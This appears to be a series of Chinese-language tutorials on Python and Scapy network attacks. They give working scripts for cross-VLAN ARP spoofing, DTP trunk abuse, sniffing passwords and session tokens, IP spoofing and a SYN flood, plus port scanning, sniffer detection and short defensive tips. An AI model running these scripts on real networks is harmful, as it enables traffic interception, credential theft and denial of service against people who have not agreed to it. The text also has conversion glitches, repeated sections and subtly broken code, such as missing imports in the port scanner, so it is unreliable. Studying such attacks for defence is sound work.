VLAN限制廣播流量到同一VLAN中的連線埠,因此我們不能預設對所有ARP請求做出反應,但必須像第一個ARP偽造範例中那樣,每隔幾秒主動告訴受害者我們的MAC位元址。程式碼與之前相同,只是我們為每個封包標記我們自己的VLAN,然後額外標記目標VLAN。
以下是一個使用Python和Scapy實作跨VLAN ARP偽造攻擊的範例:
#!/usr/bin/python
import sys
from scapy.all import *
if len(sys.argv) < 3:
print(sys.argv[0] + ": <target> <spoof_ip> <iface> <source_vlan> <target_vlan>")
sys.exit(1)
iface = sys.argv[3]
target_ip = sys.argv[1]
fake_ip = sys.argv[2]
source_vlan = int(sys.argv[4])
target_vlan = int(sys.argv[5])
ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / Dot1Q(vlan=source_vlan) / Dot1Q(vlan=target_vlan) / arp
while True:
sendp(packet, iface=iface)
time.sleep(10)
這個指令碼展示瞭如何使用Scapy建構一個包含雙重VLAN標籤的ARP偽造封套件。我們設定源VLAN和目標VLAN標籤,然後傳送偽造的ARP回應封套件。這種攻擊允許我們在不同的VLAN之間進欄ARP偽造。
透過這些範例,我們不僅能夠理解如何進欄ARP監控、MAC洪水攻擊和VLAN跳躍攻擊,還能掌握如何使用這些技術來測試和提升網路安全。從基本監控到高階攻擊,理解這些技術不僅能夠提升我們的防禦能力,還能讓我們在這個不斷變化的數位世界中保持警覺。希望這篇文章能夠幫助大家更好地理解和應對網路安全挑戰。
跨VLAN ARP偽造與DTP濫用:從基本攻擊到高階技術
在前面的文章中,我們探討瞭如何進欄ARP監控、MAC洪水攻擊和VLAN跳躍攻擊。本文將繼續介紹如何進行跨VLAN ARP偽造攻擊,以及如何利用DTP協定進行攻擊,幫助大家更好地理解和應用程式Python進行網路安全開發。
跨VLAN ARP偽造
跨VLAN ARP偽造攻擊允許我們在不同的VLAN之間進欄ARP偽造。以下是一個使用Python和Scapy實作跨VLAN ARP偽造攻擊的範例:
#!/usr/bin/python
import time
from scapy.all import sendp, ARP, Ether, Dot1Q
iface = "eth0"
target_ip = '192.168.13.23'
fake_ip = '192.168.13.5'
fake_mac = 'c0:d3:de:ad:be:ef'
our_vlan = 1
target_vlan = 2
packet = Ether() / \
Dot1Q(vlan=our_vlan) / \
Dot1Q(vlan=target_vlan) / \
ARP(hwsrc=fake_mac, pdst=target_ip, psrc=fake_ip, op="is-at")
while True:
sendp(packet, iface=iface)
time.sleep(10)
這個指令碼展示瞭如何使用Scapy建構一個包含雙重VLAN標籤的ARP偽造封套件。我們設定源VLAN和目標VLAN標籤,然後傳送偽造的ARP回應封套件。這種攻擊允許我們在不同的VLAN之間進欄ARP偽造。
幸運的是,保護這些VLAN攻擊並不那麼複雜:如果您真的想分隔您的網路,只需使用物理分離的交換器!
DTP濫用
DTP(動態中繼協定)是Cisco發明的專有協定,讓交換器動態討論一個連線埠是否應該成為中繼連線埠。中繼連線埠通常用於連線交換器和路由器,以分享一些或所有已知的VLAN。
要執行以下程式碼,您需要安裝Scapy的開發版本。首先安裝Mercurial,然後在控制枱中輸入以下行以克隆Scapy倉函式庫。
hg clone http://hg.secdev.org/scapy scapy
如果您想跟蹤Scapy的最新版本,只需不時更新簽出。
cd scapy
hg pull
現在,您可以用最新的版本替換舊版本的Scapy。
pip uninstall Scapy
cd scapy
python setup.py install
得益於DTP協定及其完全忽略任何安全性的特性,我們現在可以向每個啟用DTP的Cisco裝置傳送一個Dynamic-Desirable封套件,並要求它將我們的連線埠改為中繼連線埠。
以下是一個使用Python和Scapy實作DTP濫用攻擊的範例:
#!/usr/bin/python
import sys
from scapy.layers.l2 import Dot3, LLC, SNAP
from scapy.contrib.dtp import *
if len(sys.argv) < 2:
print(sys.argv[0] + " <dev>")
sys.exit()
negotiate_trunk(iface=sys.argv[1])
這個指令碼展示瞭如何使用Scapy傳送一個DTP協定的Dynamic-Desirable封套件。作為可選引數,您可以設定偽造的鄰居交換器的MAC位元址,如果未設定,將自動生成一個隨機的MAC位元址。攻擊可能會持續幾分鐘,但攻擊者不在乎延遲,因為他們知道他們會得到什麼——連線到每個VLAN的可能性!
vconfig add eth0 <vlan-id>
ifconfig eth0.<vlan-id> <ip_of_vlan> up
沒有真正好的理由使用DTP,所以只需停用它!
工具介紹
NetCommander
NetCommander是一個簡單的ARP偽造工具。它透過向每個可能的IP傳送ARP請求來搜尋網路上的活動電腦。之後,您可以選擇要劫持的連線,NetCommander將自動每隔幾秒雙向偽造這些主機與預設閘道器之間的連線。
該工具的原始碼可以從github.com/evilsocket/NetCommander
下載。
Hacker’s Hideaway ARP Attack Tool
Hacker’s Hideaway ARP Attack Tool比NetCommander具有更多功能。除了偽造特定連線外,它還支援被動偽造來源IP的所有ARP請求以及MAC洪水攻擊。
該工具的下載連結是packetstormsecurity.org/files/81368/hharp.py.tar.bz2
。
Loki
Loki是一個類別似於Yersinia的第二層和第三層攻擊工具。它可以透過外掛程式擴充功能,並具有友好的GUI。它實作瞭如ARP偽造和洪水攻擊、BGP和RIP路由注入,甚至對一些不常見的協定如HSRP和VRRP進行的攻擊。
Loki的原始碼可以從www.c0decafe.de/loki.html
取得。
TCP/IP技巧
接下來,我們將探索TCP/IP協定家族。這是網際網路的核心,使世界上大多數電腦網路運轉。本章的佈景佈景主題命名為TCP/IP,但我們也將涵蓋跨越所有層的網路嗅探技術。
所需模組
得益於Scapy,很容易建立自己的封包並將其傳送到旅程中,如第4章所見。如果您還未安裝Scapy,請執行以下命令:
pip install Scapy
簡單嗅探器
讓我們盡可能簡單。網際網路以及區域網路由大量服務組成。您使用HTTP(S)瀏覽網頁,使用SMTP傳送電子郵件,使用POP3或IMAP閲讀電子郵件,使用ICQ、IRC、Skype或Jabber聊天等等。
大多數人現在應該已經聽説過,沒有S的HTTP是不安全的,不應該用來透過網路傳送銀行賬戶資料。然而,大多數日常使用的協定都是明文協定,如ICQ或SMTP和IMAP/POP3。世界上最大的社群網路Facebook最近已將HTTPS設為預設(2011年中期)。大多數常用協定可以啟用SSL加密,或者如果服務本身不支援SSL,可以在服務前安裝一個SSL代理伺服器,但只有少數人關心資料安全和加密。
未加密的網路流量是每個攻擊者都在尋找的低垂果實。為什麼攻擊者要試圖破解密碼,如果他們可以輕鬆地閲讀它們?為什麼他們要試圖侵入應用程式伺服器,如果他們可以劫持當前的連線?
以下是一個使用Python和Scapy實作簡單嗅探器的範例:
#!/usr/bin/python
from scapy.all import sniff, IP, TCP, UDP, Raw
def packet_sniffer(packet):
if packet.haslayer(IP):
src_ip = packet[IP].src
dst_ip = packet[IP].dst
if packet.haslayer(TCP):
src_port = packet[TCP].sport
dst_port = packet[TCP].dport
print(f"TCP: {src_ip}:{src_port} -> {dst_ip}:{dst_port}")
if packet.haslayer(Raw):
payload = packet[Raw].load
print(f"Payload: {payload[:50]}...") # 只顯示前50個位元組
elif packet.haslayer(UDP):
src_port = packet[UDP].sport
dst_port = packet[UDP].dport
print(f"UDP: {src_ip}:{src_port} -> {dst_ip}:{dst_port}")
if packet.haslayer(Raw):
payload = packet[Raw].load
print(f"Payload: {payload[:50]}...") # 只顯示前50個位元組
sniff(prn=packet_sniffer, store=0)
這個指令碼展示瞭如何使用Scapy建立一個簡單的嗅探器。它監聽所有進入的IP封套件,並檢查是否有TCP或UDP層。如果有,它會輸出源IP和目標IP以及相應的連線埠號。如果封包包含Raw層,它還會輸出有效載荷的前50個位元組。
透過這些範例,我們不僅能夠理解如何進行跨VLAN ARP偽造攻擊和DTP濫用攻擊,還能掌握如何使用這些技術來測試和提升網路安全。從基本攻擊到高階技術,理解這些技術不僅能夠提升我們的防禦能力,還能讓我們在這個不斷變化的數位世界中保持警覺。
簡單嗅探器
使用像Tcpdump(http://www.tcpdump.org
)或Wireshark(http://www.wireshark.org
)這樣的網路嗅探工具,管理員可以生動地向使用者展示,如果他們不使用加密,就可以閲讀他們的流量。當然,您應該有權進行此演示,因為管理員永遠不應該侵犯使用者的隱私。未經授權,您應該只嗅探您自己的流量或入侵者對您網路的封套件。
以下是一個使用Python和PCAP函式庫實作簡單嗅探器的範例:
#!/usr/bin/python
import sys
import getopt
import pcapy
from impacket.ImpactDecoder import EthDecoder
dev = "eth0"
filter = "arp"
decoder = EthDecoder()
# 這個函式將對每個封包進行呼叫,並僅列印它
def handle_packet(hdr, data):
print(decoder.decode(data))
def usage():
print(sys.argv[0] + " -i <dev> -f <pcap_filter>")
sys.exit(1)
# 解析引數
try:
cmd_opts = "f:i:"
opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
usage()
for opt in opts:
if opt[0] == "-f":
filter = opt[1]
elif opt[0] == "-i":
dev = opt[1]
else:
usage()
# 以混雜模式開啟裝置
pcap = pcapy.open_live(dev, 1500, 0, 100)
# 設定PCAP篩選器
pcap.setfilter(filter)
# 開始嗅探
pcap.loop(0, handle_packet)
這個指令碼展示瞭如何使用PCAP函式庫建立一個簡單的嗅探器。它將網路卡eth0
設定為所謂的混雜模式,這指示核心讀取每個網路封套件,而不僅僅是那些傳送到卡本身的封套件。透過變數filter
,您可以設定一個PCAP篩選器表示式。在這個範例中,該篩選器確保只嗅探ARP封套件。其他可能的篩選器例如tcp and port 80
,用於閲讀HTTP流量,或者"(udp or icmp) and host 192.168.1.1"
,用於檢視來自IP 192.168.1.1
的ICMP和UDP流量。PCAP篩選器語言的檔案可以在tcpdump.org
找到。
open_live()
函式開啟一個網路介面來讀取封套件。您也可以從PCAP轉儲檔案中讀取封套件。我們應用程式於open_live()
的引數包括snaplen
,用於定義應該讀取多少位元組的封包有效載荷,一個布林值用於設定混雜模式,以及一個以毫秒為單位的超時時間,還有要讀取的網路介面。
隨後,封包會從網路卡中無限迴圈地讀取。對於每個接收到的封套件,都會呼叫handle_packet()
函式。它使用EthDecoder
類別來解碼封套件。我們在這裡使用EthDecoder
而不是ArpDecoder
,因為PCAP篩選器可以由使用者透過-f
引數指定。
讀取和寫入PCAP轉儲檔案
接下來,我們開發一個指令碼,不是在螢幕上以人類可讀的格式顯示捕捉的資料封包,而是將其儲存到PCAP轉儲檔案中,以便其他網路工具進一步處理。如果指令碼接收到一個檔案作為引數,它將嘗試讀取該檔案並使用第一個範例中展示的EthDecoders
欄印其內容。
以下是一個使用Python和PCAP函式庫實作讀取和寫入PCAP轉儲檔案的範例:
#!/usr/bin/python
import sys
import getopt
import pcapy
from impacket.ImpactDecoder import EthDecoder
from impacket.ImpactPacket import IP
dev = "eth0"
decoder = EthDecoder()
input_file = None
dump_file = "sniffer.pcap"
def write_packet(hdr, data):
print(decoder.decode(data))
dumper.dump(hdr, data)
def read_packet(hdr, data):
ether = decoder.decode(data)
if ether.get_ether_type() == IP.ethertype:
iphdr = ether.child()
tcphdr = iphdr.child()
print(iphdr.get_ip_src() + ":" + str(tcphdr.get_th_sport()) + " -> " + iphdr.get_ip_dst() + ":" + str(tcphdr.get_th_dport()))
def usage():
print(sys.argv[0] + """
-i <dev>
-r <input_file>
-w <output_file>""")
sys.exit(1)
# 解析引數
try:
cmd_opts = "i:r:w:"
opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
usage()
for opt in opts:
if opt[0] == "-w":
dump_file = opt[1]
elif opt[0] == "-i":
dev = opt[1]
elif opt[0] == "-r":
input_file = opt[1]
else:
usage()
# 開始嗅探並將封包寫入PCAP轉儲檔案
if input_file == None:
pcap = pcapy.open_live(dev, 1500, 0, 100)
dumper = pcap.dump_open(dump_file)
pcap.loop(0, write_packet)
# 讀取PCAP轉儲檔案並列印它
else:
pcap = pcapy.open_offline(input_file)
pcap.loop(0, read_packet)
這個指令碼展示瞭如何使用PCAP函式庫讀取和寫入PCAP轉儲檔案。pcap.dump_open()
函式開啟一個PCAP轉儲檔案進行寫入,並傳回一個Dumper
物件,該物件提供了一個dump()
方法來寫入封包的頭部和有效載荷。為了讀取PCAP檔案,我們使用open_offline()
方法而不是之前使用的open_live()
方法,並將其傳遞給它。
透過這些範例,我們不僅能夠理解如何使用網路嗅探工具進行流量監控,還能掌握如何讀取和寫入PCAP檔案。從基本嗅探到高階應用程式,理解這些技術不僅能夠提升我們的防禦能力,還能讓我們在這個不斷變化的數位世界中保持警覺。希望這篇文章能夠幫助大家更好地理解和應對網路安全挑戰。
密碼嗅探與嗅探器偵測:從基本應用程式到高階技術
在前面的文章中,我們探討瞭如何使用網路嗅探工具進行流量監控,以及如何讀取和寫入PCAP檔案。本文將繼續介紹如何使用密碼嗅探工具來捕捉未加密的使用者名稱和密碼,以及如何偵測網路中的嗅探器,幫助大家更好地理解和應用程式Python進行網路安全開發。
密碼嗅探
未加密協定的危險可以透過密碼嗅探器最有效地展示。即使是那些「沒有什麼可隱藏」的人,也會認識到攔截他們的使用者名稱和密碼是一個危害他們隱私的行為,他們希望盡可能避免這種情況。因此,我們現在將編寫一個程式,試圖透過將預定義的字元串與封包的有效載荷比對來尋找使用者名稱和密碼組合,並將其轉儲到顯示器上。
以下是一個使用Python和PCAP函式庫實作密碼嗅探器的範例:
#!/usr/bin/python
import sys
import re
import getopt
import pcapy
from impacket.ImpactDecoder import EthDecoder, IPDecoder, TCPDecoder
# 要嗅探的介面
dev = "eth0"
# PCAP篩選器
filter = "tcp"
# 所有層的解碼器
eth_dec = EthDecoder()
ip_dec = IPDecoder()
tcp_dec = TCPDecoder()
# 比對使用者名稱和密碼的模式
pattern = re.compile(r"""(?P<found>(USER|USERNAME|PASS|
PASSWORD|LOGIN|BENUTZER|PASSWORT|AUTH|
ACCESS|ACCESS_?KEY|SESSION|
SESSION_?KEY|TOKEN)[=:\s].+)\b""",
re.MULTILINE|re.IGNORECASE)
# 這個函式將對每個封包進行呼叫,解碼它並嘗試在其中找到使用者名稱或密碼
def handle_packet(hdr, data):
eth_pkt = eth_dec.decode(data)
ip_pkt = ip_dec.decode(eth_pkt.get_data_as_string())
tcp_pkt = tcp_dec.decode(ip_pkt.get_data_as_string())
payload = ip_pkt.get_data_as_string()
match = re.search(pattern, payload)
if not tcp_pkt.get_SYN() and not tcp_pkt.get_RST() and \
not tcp_pkt.get_FIN() and match and \
match.groupdict()['found'] != None:
print("%s:%d -> %s:%d" % (ip_pkt.get_ip_src(),
tcp_pkt.get_th_sport(),
ip_pkt.get_ip_dst(),
tcp_pkt.get_th_dport()))
print("\t%s\n" % (match.groupdict()['found']))
def usage():
print(sys.argv[0] + " -i <dev> -f <pcap_filter>")
sys.exit(1)
# 解析引數
try:
cmd_opts = "f:i:"
opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
usage()
for opt in opts:
if opt[0] == "-f":
filter = opt[1]
elif opt[0] == "-i":
dev = opt[1]
else:
usage()
# 開始嗅探
pcap = pcapy.open_live(dev, 1500, 0, 100)
pcap.setfilter(filter)
print("Sniffing passwords on " + str(dev))
pcap.loop(0, handle_packet)
這個指令碼展示瞭如何使用PCAP函式庫建立一個密碼嗅探器。這次我們篩選TCP流量,因為作者不知道有任何根據UDP的協定具有登入或身分驗證機制。
為瞭解碼,我們額外定義了IPDecoder
和TCPDecoder
來提取IP和TCP頭部,透過呼叫handle_packet
函式來實作。因此,我們將前一層的封包提供給解碼器,雖然IPDecoder
取得的是ETH封套件,TCPDecoder
取得的是IP封套件,以此類別推。
可以透過get_data_as_string()
方法將IP封包的有效載荷存取為ASCII字組串,這有時會導致難看的不可顯示字元,尤其是當轉儲二進位資料時。因此,我們首先將有效載荷與正規表示式(見第3.9節)比對,以確保它包含如User、Pass、Password或Login這樣的字元串。與常規的密碼嗅探器不同,我們的嗅探器不僅在預定義的協定中搜尋,還在所有TCP流量中搜尋,並試圖檢測其他身分驗證機制,如工作階段鍵和Cookie,除了使用者名稱和密碼組合之外。
嗅探器偵測
惡意的嗅探器可能對您的網路安全構成真正的威脅,因此能夠偵測它們的技術將非常有用。本地偵測是一個簡單的任務。只需檢查所有網路介面,看看它們是否設定為混雜模式。如果您幸運,與系統上沒有安裝rootkit,因此核心不會向您隱藏資訊,您將得到一個執行嗅探器的介面列表。
ifconfig -a | grep PROMISC
核心會記錄網路介面是否設定為混雜模式。這些資訊可以在/var/log/messages
、/var/log/syslog
或/var/log/kern.log
中找到,具體取決於您的系統的syslog設定。
cat /var/log/messages | grep promisc
更優雅的方式是遠端偵測嗅探器。幸運的是,有兩種技術可以做到這一點。第一種技術是用流量淹沒網路,並持續ping所有連線的主機。理論上,執行嗅探器的主機會由於解碼流量所需更多的CPU使用而回應較慢。這種變體很粗魯,因為它浪費了大量資源,而與並不十分可靠,因為它會顯示出由於其他原因而負載較高的系統,例如大型資料函式庫查詢或其他高CPU使用情況。
以下是一個使用Python和Scapy實作遠端嗅探器偵測的簡單範例:
#!/usr/bin/python
import scapy.all as scapy
import time
def detect_sniffer(target_ip):
# 傳送大量ICMP封套件
for _ in range(100):
scapy.send(scapy.IP(dst=target_ip)/scapy.ICMP(), verbose=False)
# 測量ping回應時間
start_time = time.time()
packet = scapy.sr1(scapy.IP(dst=target_ip)/scapy.ICMP(), timeout=2, verbose=False)
end_time = time.time()
if packet:
response_time = end_time - start_time
print(f"Response time to {target_ip}: {response_time:.2f} seconds")
if response_time > 0.1: # 假設正常回應時間小於0.1秒
print(f"Possible sniffer detected on {target_ip}")
else:
print(f"No response from {target_ip}")
detect_sniffer("192.168.1.1")
這個指令碼展示瞭如何使用Scapy傳送大量ICMP封包並測量目標IP的ping回應時間。如果回應時間超過某個閾值(在這個範例中設定為0.1秒),則可能檢測到嗅探器。這種方法雖然簡單,但可能會有誤報,需要結合其他技術進行確認。
透過這些範例,我們不僅能夠理解如何使用密碼嗅探工具來捕捉未加密的使用者名稱和密碼,還能掌握如何偵測網路中的嗅探器。從基本應用程式到高階技術,理解這些技術不僅能夠提升我們的防禦能力,還能讓我們在這個不斷變化的數位世界中保持警覺。希望這篇文章能夠幫助大家更好地理解和應對網路安全挑戰。
嗅探器偵測與IP偽造:從遠端偵測到基本攻擊
在前面的文章中,我們探討瞭如何使用密碼嗅探工具來捕捉未加密的使用者名稱和密碼,以及如何偵測網路中的嗅探器。本文將繼續介紹如何使用Scapy進行遠端嗅探器偵測,以及如何實施IP偽造攻擊,幫助大家更好地理解和應用程式Python進行網路安全開發。
遠端嗅探器偵測
遠端偵測嗅探器的第二種方法根據這樣一個技巧:執行在混雜模式下的系統不會拒絕任何封包,並且會對所有封包做出反應。因此,我們建立一個具有隨機、未使用的MAC位元址(而不是廣播地址)的ARP封套件,並將其傳送到每個主機。未執行在混雜模式下的系統將丟棄不針對其MAC位元址的封套件,但嗅探系統會向我們傳送回應。
這種技術在論文www.securityfriday.com/promiscuous_detection_01.pdf
中有更詳細的描述,並在Scapy函式promiscping()
中實作,因此使用Scapy進行遠端偵測嗅探器只需一行程式碼!
以下是一個使用Python和Scapy實作遠端嗅探器偵測的範例:
#!/usr/bin/python
import sys
from scapy.all import promiscping
if len(sys.argv) < 2:
print(sys.argv[0] + " <net>")
sys.exit()
promiscping(sys.argv[1])
這個指令碼展示瞭如何使用Scapy的promiscping()
函式進行遠端嗅探器偵測。網路可以使用CIDR塊(如192.168.1.0/24
)或萬用字元(如192.168.1.*
)來定義。
IP偽造
IP偽造是指偽造IP位元址。源地址不是傳送封包的實際網路裝置的IP,而是手動插入的一個。攻擊者使用這種技術來隱藏攻擊的來源或繞過封包過濾器或其他依賴源IP位元址來阻止或接受連線的安全層,如tcp套件裝器。
在前一章中,我們已經使用Scapy來嗅探和建立ARP和DTP封套件。現在,我們透過實施一個簡單的IP偽造程式來擴充功能我們對Scapy這個美妙世界的探索。它將向遠端主機傳送一個帶有偽造源IP的ICMP-Echo-Request封套件,也被稱為Ping。
以下是一個使用Python和Scapy實作IP偽造攻擊的範例:
#!/usr/bin/python
import sys
from scapy.all import send, IP, ICMP
if len(sys.argv) < 3:
print(sys.argv[0] + " <src_ip> <dst_ip>")
sys.exit(1)
packet = IP(src=sys.argv[1], dst=sys.argv[2]) / ICMP()
answer = send(packet, verbose=False)
if answer:
answer.show()
這個指令碼展示瞭如何使用Scapy建立一個包含在ICMP封包中的IP封套件。透過定義IP() / ICMP()
,我們建立了一個IP封套件,這種有些不尋常但方便的宣告語法是透過Scapy覆寫/
運算元並使用__div__
方法實作的。
IP封包取得源和目標IP作為引數。透過呼叫show()
方法,可以將生成的封包物件轉儲到螢幕上(show2()
只會顯示第二層)。然後,我們透過呼叫send()
傳送它(在這裡也可以使用sendp()
來傳送第二層封套件)。最後,如果我們收到任何回應封套件,它將被列印到螢幕上。當然,我們只能接收到傳送到我們網路卡的回應。因此,如果我們的主機與目標系統不在同一個集線器上,可能需要實施中間人攻擊(見第2.19節)。在我們的情況下,不需要擔心中間人攻擊,因為Scapy會自動插入我們的MAC位元址作為源地址,並自動設定目標IP的目標MAC位元址。因此,我們可以確保回應封包直接傳送回我們。
要防禦IP偽造,可以透過簽章和加密所有IP封包來實作。一個常見的例子是IPSec協定家族中的AH或ESP協定。
SYN洪水攻擊
另一種DOS(拒絕服務)攻擊變體是SYN洪水攻擊。它用帶有設定SYN標誌的偽造TCP封包淹沒目標系統,直到它停止接受新連線。記住,帶有設定SYN標誌的封包用於啟動三次握手,並在開放連線埠上以SYN/ACK封包回應。如果請求方不傳送相應的ACK,連線將保持在所謂的半開狀態,直到超時發生。如果有太多連線處於半開狀態,主機將不會接受任何進一步的連線。
當然,您想知道您的系統對這種例外狀態的反應,因此我們用幾欄Python程式碼編寫了一個簡單的SYN洪水攻擊程式。
以下是一個使用Python和Scapy實作SYN洪水攻擊的範例:
#!/usr/bin/python
import sys
from scapy.all import srflood, IP, TCP
if len(sys.argv) < 3:
print(sys.argv[0] + " <spoofed_source_ip> <target>")
sys.exit(0)
packet = IP(src=sys.argv[1], dst=sys.argv[2]) / \
TCP(dport=range(1,1024), flags="S")
srflood(packet, store=0)
這個指令碼展示瞭如何使用Scapy建立一個SYN洪水攻擊。通常,SYN洪水攻擊與IP偽造結合使用,否則攻擊者可能會用相應的回應封套件DOS自己。此外,攻擊者可以透過偽造另一個系統的IP來DOS該系統,甚至增加流量,因為偽造的系統會對每個收到的SYN/ACK傳送一個RST封套件。
幸運的是,現在SYN洪水攻擊不再像十年前那樣是一個大問題。
在Linux上,您可以透過執行以下命令啟用SYN cookies:
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
在BSD和Mac OS X系統上存在類別似的機制。關於SYN cookies的更多資訊,請參考Daniel Bernstein的教程,網址為http://cr.yp.to/syncookies.html
。
連線埠掃描
在一個關於TCP/IP駭客的章節中,必須有一個經典的連線埠掃描器。連線埠掃描器是一個嘗試逐個建立連線連線埠的程式,以檢查它們是否開啟。
以下是一個使用Python和Scapy實作基本連線埠掃描器的範例:
#!/usr/bin/python
import sys
from scapy.all import sr1, IP, TCP
if len(sys.argv) < 2:
print(sys.argv[0] + " <target_ip>")
sys.exit(1)
target_ip = sys.argv[1]
for port in range(1, 1024):
packet = IP(dst=target_ip) / TCP(dport=port, flags="S")
response = sr1(packet, timeout=1, verbose=False)
if response and response.haslayer(TCP):
if response[TCP].flags == 0x12: # SYN-ACK
send(IP(dst=target_ip) / TCP(dport=port, flags="R"), verbose=False)
print(f"Port {port} is open")
elif response[TCP].flags == 0x14: # RST
print(f"Port {port} is closed")
elif response and response.haslayer(ICMP):
if int(response[ICMP].type) == 3 and int(response[ICMP].code) in [1, 2, 3, 9, 10, 13]:
print(f"Port {port} is filtered")
這個指令碼展示瞭如何使用Scapy建立一個基本的連線埠掃描器。它遍歷從1到1023的所有連線埠,傳送一個帶有設定SYN標誌的TCP封套件。如果收到一個SYN-ACK回應,則該連線埠是開啟的,然後我們傳送一個RST封包來關閉連線。如果收到一個RST回應,則該連線埠是關閉的。如果收到一個ICMP回應,則該連線埠可能是被篩選的。
透過這些範例,我們不僅能夠理解如何使用Scapy進行遠端嗅探器偵測和實施IP偽造攻擊,還能掌握如何進欄SYN洪水攻擊和連線埠掃描。從遠端偵測到基本攻擊,理解這些技術不僅能夠提升我們的防禦能力,還能讓我們在這個不斷變化的數位世界中保持警覺。希望這篇文章能夠幫助大家更好地理解和應對網路安全挑戰。